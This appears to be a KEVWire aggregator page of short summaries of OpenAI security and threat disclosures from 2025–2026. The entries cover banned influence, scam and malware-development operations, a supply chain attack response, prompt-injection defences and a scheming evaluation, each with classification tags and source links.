### “Tech and Tariffs” Campaign: Influence activity targeting US tech policy
https://kevwire.com/record/openai-disrupting-malicious-uses-of-ai-tech-and-tariffs-9be2f103fbe5
“Tech and Tariffs” Campaign: Influence activity targeting US tech policy (Jun 1, 2026).
OpenAI banned likely PRC-origin accounts using AI to create comments and cartoons about US tech policy, tariffs, and trade restrictions.
AI classification: offense; evidence: confirmed. The source describes people using AI to carry out or assist harmful activity. Disclosed by OpenAI, the organization that runs or studies the system.
Sources:
OpenAI: “Tech and Tariffs” Campaign: Influence activity targeting US tech policy: https://openai.com/index/disrupting-malicious-uses-of-ai-tech-and-tariffs
OpenAI syndication feed: https://openai.com/news/rss.xml
OpenAI banned likely PRC-origin accounts using AI to create comments and cartoons about US tech policy, tariffs, and trade restrictions.

Published by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.
Action: Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.
Kind: ai-incident; regions: Global; provenance: pipeline.
KEV evidence not available.

### Our response to the TanStack npm supply chain attack
https://kevwire.com/record/openai-our-response-to-the-tanstack-npm-supply-chain-attack-8939013f174d
Our response to the TanStack npm supply chain attack (May 13, 2026).
OpenAI details its response to the TanStack “Mini Shai-Hulud” supply chain attack, outlines protections taken to secure systems and signing certificates, and explains why macOS users must update OpenAI apps by June 12, 2026. Learn what happened, what was affected, and how OpenAI is strengthening defenses against evolving software supply chain threats.
AI classification: infrastructure; evidence: confirmed. The source describes a flaw in, or an attack on, an AI system. This alone does not show attackers used AI. Disclosed by OpenAI, the organization that runs or studies the system.
Sources:
OpenAI: Our response to the TanStack npm supply chain attack: https://openai.com/index/our-response-to-the-tanstack-npm-supply-chain-attack
OpenAI syndication feed: https://openai.com/news/rss.xml
OpenAI details its response to the TanStack “Mini Shai-Hulud” supply chain attack, outlines protections taken to secure systems and signing certificates, and explains why macOS users must update OpenAI apps by June 12, 2026. Learn what happened, what was affected, and how OpenAI is strengthening defenses against evolving software supply chain threats.

Published by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.
Action: Read the original post for its scope and limitations before applying its findings.
Kind: ai-research; regions: Global; provenance: pipeline.
KEV evidence not available.

### Cybersecurity in the Intelligence Age
https://kevwire.com/record/openai-cybersecurity-in-the-intelligence-age-180302e63d71
Cybersecurity in the Intelligence Age (Apr 29, 2026).
OpenAI outlines a five-part action plan for strengthening cybersecurity in the Intelligence Age, focused on democratizing AI-powered cyber defense and protecting critical systems.
AI classification: defense; evidence: confirmed. The source describes AI used to find or fix security problems, or safety research. Disclosed by OpenAI, the organization that runs or studies the system.
Sources:
OpenAI: Cybersecurity in the Intelligence Age: https://openai.com/index/cybersecurity-in-the-intelligence-age
OpenAI syndication feed: https://openai.com/news/rss.xml
OpenAI outlines a five-part action plan for strengthening cybersecurity in the Intelligence Age, focused on democratizing AI-powered cyber defense and protecting critical systems.

Published by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.
Action: Read the original post for its scope and limitations before applying its findings.
Kind: ai-research; regions: Global; provenance: pipeline.
KEV evidence not available.

### Trusted access for the next era of cyber defense
https://kevwire.com/record/openai-scaling-trusted-access-for-cyber-defense-17bf9cbe1f8c
Trusted access for the next era of cyber defense (Apr 14, 2026).
OpenAI expands its Trusted Access for Cyber program, introducing GPT-5.4-Cyber to vetted defenders and strengthening safeguards as AI cybersecurity capabilities advance.
AI classification: defense; evidence: confirmed. The source describes AI used to find or fix security problems, or safety research. Disclosed by OpenAI, the organization that runs or studies the system.
Sources:
OpenAI: Trusted access for the next era of cyber defense: https://openai.com/index/scaling-trusted-access-for-cyber-defense
OpenAI syndication feed: https://openai.com/news/rss.xml
OpenAI expands its Trusted Access for Cyber program, introducing GPT-5.4-Cyber to vetted defenders and strengthening safeguards as AI cybersecurity capabilities advance.

Published by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.
Action: Read the original post for its scope and limitations before applying its findings.
Kind: ai-research; regions: Global; provenance: pipeline.
KEV evidence not available.

### Designing AI agents to resist prompt injection
https://kevwire.com/record/openai-designing-agents-to-resist-prompt-injection-3dec299964e6
Designing AI agents to resist prompt injection (Mar 11, 2026).
How ChatGPT defends against prompt injection and social engineering by constraining risky actions and protecting sensitive data in agent workflows.
AI classification: infrastructure; evidence: confirmed. The source describes a flaw in, or an attack on, an AI system. This alone does not show attackers used AI. Disclosed by OpenAI, the organization that runs or studies the system.
Sources:
OpenAI: Designing AI agents to resist prompt injection: https://openai.com/index/designing-agents-to-resist-prompt-injection
OpenAI syndication feed: https://openai.com/news/rss.xml
How ChatGPT defends against prompt injection and social engineering by constraining risky actions and protecting sensitive data in agent workflows.

Published by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.
Action: Read the original post for its scope and limitations before applying its findings.
Kind: ai-research; regions: Global; provenance: pipeline.
KEV evidence not available.

### Disrupting malicious uses of AI | February 2026
https://kevwire.com/record/openai-disrupting-malicious-ai-uses-d163670fb22c
Disrupting malicious uses of AI | February 2026 (Feb 25, 2026).
Our latest threat report examines how malicious actors combine AI models with websites and social platforms—and what it means for detection and defense.
AI classification: offense; evidence: confirmed. The source describes people using AI to carry out or assist harmful activity. Disclosed by OpenAI, the organization that runs or studies the system.
Sources:
OpenAI: Disrupting malicious uses of AI | February 2026: https://openai.com/index/disrupting-malicious-ai-uses
OpenAI syndication feed: https://openai.com/news/rss.xml
Our latest threat report examines how malicious actors combine AI models with websites and social platforms—and what it means for detection and defense.

Published by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.
Action: Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.
Kind: ai-incident; regions: Global; provenance: pipeline.
KEV evidence not available.

### “Cyber Special Operations”: China-linked influence planning
https://kevwire.com/record/openai-disrupting-malicious-uses-of-ai-cyber-special-operations-492428c49822
“Cyber Special Operations”: China-linked influence planning (Feb 1, 2026).
OpenAI banned an account linked to an individual associated with Chinese law enforcement, using AI to plan influence activity, harassment, and online operations.
AI classification: offense; evidence: confirmed. The source describes people using AI to carry out or assist harmful activity. Disclosed by OpenAI, the organization that runs or studies the system.
Sources:
OpenAI: “Cyber Special Operations”: China-linked influence planning: https://openai.com/index/disrupting-malicious-uses-of-ai-cyber-special-operations
OpenAI syndication feed: https://openai.com/news/rss.xml
OpenAI banned an account linked to an individual associated with Chinese law enforcement, using AI to plan influence activity, harassment, and online operations.

Published by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.
Action: Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.
Kind: ai-incident; regions: Global; provenance: pipeline.
KEV evidence not available.

### Operation “Date Bait”: AI-enabled scam targeting loveseekers
https://kevwire.com/record/openai-disrupting-malicious-uses-of-ai-date-bait-e89556d6b86e
Operation “Date Bait”: AI-enabled scam targeting loveseekers (Feb 1, 2026).
OpenAI banned accounts that very likely originated in Cambodia and used AI for scam outreach to Indonesian loveseekers, including translation and engagement.
AI classification: offense; evidence: confirmed. The source describes people using AI to carry out or assist harmful activity. Disclosed by OpenAI, the organization that runs or studies the system.
Sources:
OpenAI: Operation “Date Bait”: AI-enabled scam targeting loveseekers: https://openai.com/index/disrupting-malicious-uses-of-ai-date-bait
OpenAI syndication feed: https://openai.com/news/rss.xml
OpenAI banned accounts that very likely originated in Cambodia and used AI for scam outreach to Indonesian loveseekers, including translation and engagement.

Published by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.
Action: Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.
Kind: ai-incident; regions: Global; provenance: pipeline.
KEV evidence not available.

### Operation “False Witness”: Fake recovery service impersonating authorities
https://kevwire.com/record/openai-disrupting-malicious-uses-of-ai-false-witness-64025901dc99
Operation “False Witness”: Fake recovery service impersonating authorities (Feb 1, 2026).
OpenAI banned accounts that very likely originated in Cambodia and used AI to pose as recovery services, law firms, and authorities targeting people affected by fraud.
AI classification: offense; evidence: confirmed. The source describes people using AI to carry out or assist harmful activity. Disclosed by OpenAI, the organization that runs or studies the system.
Sources:
OpenAI: Operation “False Witness”: Fake recovery service impersonating authorities: https://openai.com/index/disrupting-malicious-uses-of-ai-false-witness
OpenAI syndication feed: https://openai.com/news/rss.xml
OpenAI banned accounts that very likely originated in Cambodia and used AI to pose as recovery services, law firms, and authorities targeting people affected by fraud.

Published by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.
Action: Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.
Kind: ai-incident; regions: Global; provenance: pipeline.
KEV evidence not available.

### Operation “Fish Food”: Russia-origin content farm activity
https://kevwire.com/record/openai-disrupting-malicious-uses-of-ai-fish-food-ce86571e5671
Operation “Fish Food”: Russia-origin content farm activity (Feb 1, 2026).
OpenAI banned accounts linked to the Rybar network, some of which likely originated in Russia, that used AI to support multilingual influence activity across websites and social platforms.
AI classification: offense; evidence: confirmed. The source describes people using AI to carry out or assist harmful activity. Disclosed by OpenAI, the organization that runs or studies the system.
Sources:
OpenAI: Operation “Fish Food”: Russia-origin content farm activity: https://openai.com/index/disrupting-malicious-uses-of-ai-fish-food
OpenAI syndication feed: https://openai.com/news/rss.xml
OpenAI banned accounts linked to the Rybar network, some of which likely originated in Russia, that used AI to support multilingual influence activity across websites and social platforms.

Published by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.
Action: Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.
Kind: ai-incident; regions: Global; provenance: pipeline.
KEV evidence not available.

### Operation “No Bell”: Coordinated criticism of the US and allies
https://kevwire.com/record/openai-disrupting-malicious-uses-of-ai-no-bell-34642b29f373
Operation “No Bell”: Coordinated criticism of the US and allies (Feb 1, 2026).
OpenAI banned accounts linked to a previously unreported, likely Russia-origin operation we dubbed "No Bell", using AI to produce criticism of the US and its allies for audiences across Africa.
AI classification: offense; evidence: confirmed. The source describes people using AI to carry out or assist harmful activity. Disclosed by OpenAI, the organization that runs or studies the system.
Sources:
OpenAI: Operation “No Bell”: Coordinated criticism of the US and allies: https://openai.com/index/disrupting-malicious-uses-of-ai-no-bell
OpenAI syndication feed: https://openai.com/news/rss.xml
OpenAI banned accounts linked to a previously unreported, likely Russia-origin operation we dubbed "No Bell", using AI to produce criticism of the US and its allies for audiences across Africa.

Published by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.
Action: Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.
Kind: ai-incident; regions: Global; provenance: pipeline.
KEV evidence not available.

### Romance scams: AI-enabled romance scam workflows
https://kevwire.com/record/openai-disrupting-malicious-uses-of-ai-romance-scam-60803e59bb76
Romance scams: AI-enabled romance scam workflows (Feb 1, 2026).
OpenAI banned accounts using AI to support romance scam workflows, including outreach, translation, victim engagement, and investment-fraud lures.
AI classification: offense; evidence: confirmed. The source describes people using AI to carry out or assist harmful activity. Disclosed by OpenAI, the organization that runs or studies the system.
Sources:
OpenAI: Romance scams: AI-enabled romance scam workflows: https://openai.com/index/disrupting-malicious-uses-of-ai-romance-scam
OpenAI syndication feed: https://openai.com/news/rss.xml
OpenAI banned accounts using AI to support romance scam workflows, including outreach, translation, victim engagement, and investment-fraud lures.

Published by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.
Action: Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.
Kind: ai-incident; regions: Global; provenance: pipeline.
KEV evidence not available.

### Operation “Trolling Stone”: Russia-linked influence activity
https://kevwire.com/record/openai-disrupting-malicious-uses-of-ai-trolling-stone-1c8f0e8bee3d
Operation “Trolling Stone”: Russia-linked influence activity (Feb 1, 2026).
OpenAI banned accounts linked to a previously unreported operation we dubbed "Trolling Stone", using AI to generate comments about an alleged Russian cult leader’s arrest in Argentina.
AI classification: offense; evidence: confirmed. The source describes people using AI to carry out or assist harmful activity. Disclosed by OpenAI, the organization that runs or studies the system.
Sources:
OpenAI: Operation “Trolling Stone”: Russia-linked influence activity: https://openai.com/index/disrupting-malicious-uses-of-ai-trolling-stone
OpenAI syndication feed: https://openai.com/news/rss.xml
OpenAI banned accounts linked to a previously unreported operation we dubbed "Trolling Stone", using AI to generate comments about an alleged Russian cult leader’s arrest in Argentina.

Published by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.
Action: Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.
Kind: ai-incident; regions: Global; provenance: pipeline.
KEV evidence not available.

### Continuously hardening ChatGPT Atlas against prompt injection
https://kevwire.com/record/openai-hardening-atlas-against-prompt-injection-0ad9fbef8c87
Continuously hardening ChatGPT Atlas against prompt injection (Dec 22, 2025).
OpenAI is strengthening ChatGPT Atlas against prompt injection attacks using automated red teaming trained with reinforcement learning. This proactive discover-and-patch loop helps identify novel exploits early and harden the browser agent’s defenses as AI becomes more agentic.
AI classification: infrastructure; evidence: confirmed. The source describes a flaw in, or an attack on, an AI system. This alone does not show attackers used AI. Disclosed by OpenAI, the organization that runs or studies the system.
Sources:
OpenAI: Continuously hardening ChatGPT Atlas against prompt injection: https://openai.com/index/hardening-atlas-against-prompt-injection
OpenAI syndication feed: https://openai.com/news/rss.xml
OpenAI is strengthening ChatGPT Atlas against prompt injection attacks using automated red teaming trained with reinforcement learning. This proactive discover-and-patch loop helps identify novel exploits early and harden the browser agent’s defenses as AI becomes more agentic.

Published by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.
Action: Read the original post for its scope and limitations before applying its findings.
Kind: ai-research; regions: Global; provenance: pipeline.
KEV evidence not available.

### Strengthening cyber resilience as AI capabilities advance
https://kevwire.com/record/openai-strengthening-cyber-resilience-365d33ac3468
Strengthening cyber resilience as AI capabilities advance (Dec 10, 2025).
OpenAI is investing in stronger safeguards and defensive capabilities as AI models become more powerful in cybersecurity. We explain how we assess risk, limit misuse, and work with the security community to strengthen cyber resilience.
AI classification: defense; evidence: confirmed. The source describes AI used to find or fix security problems, or safety research. Disclosed by OpenAI, the organization that runs or studies the system.
Sources:
OpenAI: Strengthening cyber resilience as AI capabilities advance: https://openai.com/index/strengthening-cyber-resilience
OpenAI syndication feed: https://openai.com/news/rss.xml
OpenAI is investing in stronger safeguards and defensive capabilities as AI models become more powerful in cybersecurity. We explain how we assess risk, limit misuse, and work with the security community to strengthen cyber resilience.

Published by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.
Action: Read the original post for its scope and limitations before applying its findings.
Kind: ai-research; regions: Global; provenance: pipeline.
KEV evidence not available.

### Mixpanel security incident: what OpenAI users need to know
https://kevwire.com/record/openai-mixpanel-incident-ec9167a4ecbb
Mixpanel security incident: what OpenAI users need to know (Nov 26, 2025).
OpenAI shares details about a Mixpanel security incident involving limited API analytics data. No API content, credentials, or payment details were exposed. Learn what happened and how we’re protecting users.
Sources:
OpenAI: Mixpanel security incident: what OpenAI users need to know: https://openai.com/index/mixpanel-incident
OpenAI syndication feed: https://openai.com/news/rss.xml
OpenAI shares details about a Mixpanel security incident involving limited API analytics data. No API content, credentials, or payment details were exposed. Learn what happened and how we’re protecting users.

Published by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.
Action: Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.
Kind: ai-incident; regions: Global; provenance: pipeline.
KEV evidence not available.

### Understanding prompt injections: a frontier security challenge
https://kevwire.com/record/openai-prompt-injections-8cd903898ffd
Understanding prompt injections: a frontier security challenge (Nov 7, 2025).
Prompt injections are a frontier security challenge for AI systems. Learn how these attacks work and how OpenAI is advancing research, training models, and building safeguards for users.
AI classification: defense; evidence: confirmed. The source describes AI used to find or fix security problems, or safety research. Disclosed by OpenAI, the organization that runs or studies the system.
Sources:
OpenAI: Understanding prompt injections: a frontier security challenge: https://openai.com/index/prompt-injections
OpenAI syndication feed: https://openai.com/news/rss.xml
Prompt injections are a frontier security challenge for AI systems. Learn how these attacks work and how OpenAI is advancing research, training models, and building safeguards for users.

Published by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.
Action: Read the original post for its scope and limitations before applying its findings.
Kind: ai-research; regions: Global; provenance: pipeline.
KEV evidence not available.

### Doppel’s AI defense system stops attacks before they spread
https://kevwire.com/record/openai-doppel-4b7ec9bbe34f
Doppel’s AI defense system stops attacks before they spread (Oct 28, 2025).
Doppel uses GPT-5 and reinforcement fine-tuning to stop deepfake and impersonation attacks, cutting analyst workloads by 80% and reducing response times from hours to minutes.
AI classification: defense; evidence: confirmed. The source describes AI used to find or fix security problems, or safety research. Disclosed by OpenAI, the organization that runs or studies the system.
Sources:
OpenAI: Doppel’s AI defense system stops attacks before they spread: https://openai.com/index/doppel
OpenAI syndication feed: https://openai.com/news/rss.xml
Doppel uses GPT-5 and reinforcement fine-tuning to stop deepfake and impersonation attacks, cutting analyst workloads by 80% and reducing response times from hours to minutes.

Published by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.
Action: Read the original post for its scope and limitations before applying its findings.
Kind: ai-research; regions: Global; provenance: pipeline.
KEV evidence not available.

### Cyber Operation: Korean-language malware support
https://kevwire.com/record/openai-disrupting-malicious-uses-of-ai-korean-language-malware-support-c3151ad1badf
Cyber Operation: Korean-language malware support (Oct 1, 2025).
OpenAI banned Korean-language accounts using AI for malware development support, debugging, phishing, and credential-theft workflows.
AI classification: offense; evidence: confirmed. The source describes people using AI to carry out or assist harmful activity. Disclosed by OpenAI, the organization that runs or studies the system.
Sources:
OpenAI: Cyber Operation: Korean-language malware support: https://openai.com/index/disrupting-malicious-uses-of-ai-korean-language-malware-support
OpenAI syndication feed: https://openai.com/news/rss.xml
OpenAI banned Korean-language accounts using AI for malware development support, debugging, phishing, and credential-theft workflows.

Published by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.
Action: Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.
Kind: ai-incident; regions: Global; provenance: pipeline.
KEV evidence not available.

### Operation “Nine–emdash Line”: Regional influence activity
https://kevwire.com/record/openai-disrupting-malicious-uses-of-ai-nine-emdash-line-071d48002d8a
Operation “Nine–emdash Line”: Regional influence activity (Oct 1, 2025).
OpenAI banned accounts linked to a previously unreported PRC-origin operation we dubbed "Nine-emdash Line", using AI to create regional influence content about the South China Sea, Hong Kong, and US politics.
AI classification: offense; evidence: confirmed. The source describes people using AI to carry out or assist harmful activity. Disclosed by OpenAI, the organization that runs or studies the system.
Sources:
OpenAI: Operation “Nine–emdash Line”: Regional influence activity: https://openai.com/index/disrupting-malicious-uses-of-ai-nine-emdash-line
OpenAI syndication feed: https://openai.com/news/rss.xml
OpenAI banned accounts linked to a previously unreported PRC-origin operation we dubbed "Nine-emdash Line", using AI to create regional influence content about the South China Sea, Hong Kong, and US politics.

Published by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.
Action: Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.
Kind: ai-incident; regions: Global; provenance: pipeline.
KEV evidence not available.

### Cyber Operation: Phishing and scripting support
https://kevwire.com/record/openai-disrupting-malicious-uses-of-ai-phishing-and-scripting-support-a6acec4e396b
Cyber Operation: Phishing and scripting support (Oct 1, 2025).
OpenAI banned accounts involved in activity that overlapped with publicly reported threat groups and displayed hallmarks consistent with PRC intelligence requirements, using AI to support phishing and scripting workflows.
AI classification: offense; evidence: confirmed. The source describes people using AI to carry out or assist harmful activity. Disclosed by OpenAI, the organization that runs or studies the system.
Sources:
OpenAI: Cyber Operation: Phishing and scripting support: https://openai.com/index/disrupting-malicious-uses-of-ai-phishing-and-scripting-support
OpenAI syndication feed: https://openai.com/news/rss.xml
OpenAI banned accounts involved in activity that overlapped with publicly reported threat groups and displayed hallmarks consistent with PRC intelligence requirements, using AI to support phishing and scripting workflows.

Published by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.
Action: Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.
Kind: ai-incident; regions: Global; provenance: pipeline.
KEV evidence not available.

### PRC-linked abuse: Surveillance and influence activity
https://kevwire.com/record/openai-disrupting-malicious-uses-of-ai-prc-linked-abuse-561c20c9d4e7
PRC-linked abuse: Surveillance and influence activity (Oct 1, 2025).
OpenAI banned PRC-linked accounts using AI to support surveillance-related planning, targeted profiling, and research on critics and other individuals.
AI classification: offense; evidence: confirmed. The source describes people using AI to carry out or assist harmful activity. Disclosed by OpenAI, the organization that runs or studies the system.
Sources:
OpenAI: PRC-linked abuse: Surveillance and influence activity: https://openai.com/index/disrupting-malicious-uses-of-ai-prc-linked-abuse
OpenAI syndication feed: https://openai.com/news/rss.xml
OpenAI banned PRC-linked accounts using AI to support surveillance-related planning, targeted profiling, and research on critics and other individuals.

Published by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.
Action: Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.
Kind: ai-incident; regions: Global; provenance: pipeline.
KEV evidence not available.

### Cyber Operation: Russian-speaking malware tooling
https://kevwire.com/record/openai-disrupting-malicious-uses-of-ai-russian-speaking-malware-tooling-d0e249a4d21b
Cyber Operation: Russian-speaking malware tooling (Oct 1, 2025).
OpenAI banned accounts likely linked to Russian-speaking criminal groups, using AI to build malware loaders, evasion layers, credential-theft scripts, and C2 infrastructure.
AI classification: offense; evidence: confirmed. The source describes people using AI to carry out or assist harmful activity. Disclosed by OpenAI, the organization that runs or studies the system.
Sources:
OpenAI: Cyber Operation: Russian-speaking malware tooling: https://openai.com/index/disrupting-malicious-uses-of-ai-russian-speaking-malware-tooling
OpenAI syndication feed: https://openai.com/news/rss.xml
OpenAI banned accounts likely linked to Russian-speaking criminal groups, using AI to build malware loaders, evasion layers, credential-theft scripts, and C2 infrastructure.

Published by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.
Action: Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.
Kind: ai-incident; regions: Global; provenance: pipeline.
KEV evidence not available.

### Scam operations: Online fraud networks
https://kevwire.com/record/openai-disrupting-malicious-uses-of-ai-scam-operations-5a67e1abb891
Scam operations: Online fraud networks (Oct 1, 2025).
OpenAI banned accounts tied to online fraud networks using AI to support scam scripts, impersonation, translation, and victim engagement.
AI classification: offense; evidence: confirmed. The source describes people using AI to carry out or assist harmful activity. Disclosed by OpenAI, the organization that runs or studies the system.
Sources:
OpenAI: Scam operations: Online fraud networks: https://openai.com/index/disrupting-malicious-uses-of-ai-scam-operations
OpenAI syndication feed: https://openai.com/news/rss.xml
OpenAI banned accounts tied to online fraud networks using AI to support scam scripts, impersonation, translation, and victim engagement.

Published by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.
Action: Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.
Kind: ai-incident; regions: Global; provenance: pipeline.
KEV evidence not available.

### Operation “Stop News”: Recidivist influence activity
https://kevwire.com/record/openai-disrupting-malicious-uses-of-ai-stop-news-2025-9137990df72e
Operation “Stop News”: Recidivist influence activity (Oct 1, 2025).
OpenAI banned accounts linked to a Russia-origin operation we dubbed “Stop News”, using AI to generate recidivist influence content targeting Africa and the UK.
AI classification: offense; evidence: confirmed. The source describes people using AI to carry out or assist harmful activity. Disclosed by OpenAI, the organization that runs or studies the system.
Sources:
OpenAI: Operation “Stop News”: Recidivist influence activity: https://openai.com/index/disrupting-malicious-uses-of-ai-stop-news-2025
OpenAI syndication feed: https://openai.com/news/rss.xml
OpenAI banned accounts linked to a Russia-origin operation we dubbed “Stop News”, using AI to generate recidivist influence content targeting Africa and the UK.

Published by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.
Action: Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.
Kind: ai-incident; regions: Global; provenance: pipeline.
KEV evidence not available.

### Combating online child sexual exploitation & abuse
https://kevwire.com/record/openai-combating-online-child-sexual-exploitation-abuse-1b2240d7e630
Combating online child sexual exploitation & abuse (Sep 29, 2025).
Discover how OpenAI combats online child sexual exploitation and abuse with strict usage policies, advanced detection tools, and industry collaboration to block, report, and prevent AI misuse.
AI classification: defense; evidence: confirmed. The source describes AI used to find or fix security problems, or safety research. Disclosed by OpenAI, the organization that runs or studies the system.
Sources:
OpenAI: Combating online child sexual exploitation & abuse: https://openai.com/index/combating-online-child-sexual-exploitation-abuse
OpenAI syndication feed: https://openai.com/news/rss.xml
Discover how OpenAI combats online child sexual exploitation and abuse with strict usage policies, advanced detection tools, and industry collaboration to block, report, and prevent AI misuse.

Published by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.
Action: Read the original post for its scope and limitations before applying its findings.
Kind: ai-research; regions: Global; provenance: pipeline.
KEV evidence not available.

### Detecting and reducing scheming in AI models
https://kevwire.com/record/openai-detecting-and-reducing-scheming-in-ai-models-bef6cbe2a83e
Detecting and reducing scheming in AI models (Sep 17, 2025).
Apollo Research and OpenAI developed evaluations for hidden misalignment (“scheming”) and found behaviors consistent with scheming in controlled tests across frontier models. The team shared concrete examples and stress tests of an early method to reduce scheming.
AI classification: defense; evidence: confirmed. The source describes AI used to find or fix security problems, or safety research. Disclosed by OpenAI, the organization that runs or studies the system.
Sources:
OpenAI: Detecting and reducing scheming in AI models: https://openai.com/index/detecting-and-reducing-scheming-in-ai-models
OpenAI syndication feed: https://openai.com/news/rss.xml
Apollo Research and OpenAI developed evaluations for hidden misalignment (“scheming”) and found behaviors consistent with scheming in controlled tests across frontier models. The team shared concrete examples and stress tests of an early method to reduce scheming.

Published by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.
Action: Read the original post for its scope and limitations before applying its findings.
Kind: ai-research; regions: Global; provenance: pipeline.
KEV evidence not available.

### OpenAI and Anthropic share findings from a joint safety evaluation
https://kevwire.com/record/openai-openai-anthropic-safety-evaluation-ad13fe7d3321
OpenAI and Anthropic share findings from a joint safety evaluation (Aug 27, 2025).
OpenAI and Anthropic share findings from a first-of-its-kind joint safety evaluation, testing each other’s models for misalignment, instruction following, hallucinations, jailbreaking, and more—highlighting progress, challenges, and the value of cross-lab collaboration.
AI classification: defense; evidence: confirmed. The source describes AI used to find or fix security problems, or safety research. Disclosed by OpenAI, the organization that runs or studies the system.
Sources:
OpenAI: OpenAI and Anthropic share findings from a joint safety evaluation: https://openai.com/index/openai-anthropic-safety-evaluation
OpenAI syndication feed: https://openai.com/news/rss.xml
OpenAI and Anthropic share findings from a first-of-its-kind joint safety evaluation, testing each other’s models for misalignment, instruction following, hallucinations, jailbreaking, and more—highlighting progress, challenges, and the value of cross-lab collaboration.

Published by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.
Action: Read the original post for its scope and limitations before applying its findings.
Kind: ai-research; regions: Global; provenance: pipeline.
KEV evidence not available.

### Operation “Helgoland Bite”: German-language influence activity
https://kevwire.com/record/openai-disrupting-malicious-uses-of-ai-helgoland-bite-7bedc9da64b3
Operation “Helgoland Bite”: German-language influence activity (Jun 1, 2025).
OpenAI banned accounts that appeared to originate in Russia and used AI to generate German-language political content about Ukraine, NATO, and domestic issues.
AI classification: offense; evidence: confirmed. The source describes people using AI to carry out or assist harmful activity. Disclosed by OpenAI, the organization that runs or studies the system.
Sources:
OpenAI: Operation “Helgoland Bite”: German-language influence activity: https://openai.com/index/disrupting-malicious-uses-of-ai-helgoland-bite
OpenAI syndication feed: https://openai.com/news/rss.xml
OpenAI banned accounts that appeared to originate in Russia and used AI to generate German-language political content about Ukraine, NATO, and domestic issues.

Published by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.
Action: Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.
Kind: ai-incident; regions: Global; provenance: pipeline.
KEV evidence not available.

### Operation “High Five”: Philippines political comments
https://kevwire.com/record/openai-disrupting-malicious-uses-of-ai-high-five-dd98a29ff064
Operation “High Five”: Philippines political comments (Jun 1, 2025).
OpenAI banned accounts using AI to generate comments about Philippine politics and public officials across social platforms.
AI classification: offense; evidence: confirmed. The source describes people using AI to carry out or assist harmful activity. Disclosed by OpenAI, the organization that runs or studies the system.
Sources:
OpenAI: Operation “High Five”: Philippines political comments: https://openai.com/index/disrupting-malicious-uses-of-ai-high-five
OpenAI syndication feed: https://openai.com/news/rss.xml
OpenAI banned accounts using AI to generate comments about Philippine politics and public officials across social platforms.

Published by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.
Action: Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.
Kind: ai-incident; regions: Global; provenance: pipeline.
KEV evidence not available.

### Operation “ScopeCreep”: Russian-speaking malware development
https://kevwire.com/record/openai-disrupting-malicious-uses-of-ai-scopecreep-43c257979092
Operation “ScopeCreep”: Russian-speaking malware development (Jun 1, 2025).
OpenAI banned Russian-language accounts using AI to build malware, refine loaders, and troubleshoot cyber tooling.
AI classification: offense; evidence: confirmed. The source describes people using AI to carry out or assist harmful activity. Disclosed by OpenAI, the organization that runs or studies the system.
Sources:
OpenAI: Operation “ScopeCreep”: Russian-speaking malware development: https://openai.com/index/disrupting-malicious-uses-of-ai-scopecreep
OpenAI syndication feed: https://openai.com/news/rss.xml
OpenAI banned Russian-language accounts using AI to build malware, refine loaders, and troubleshoot cyber tooling.

Published by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.
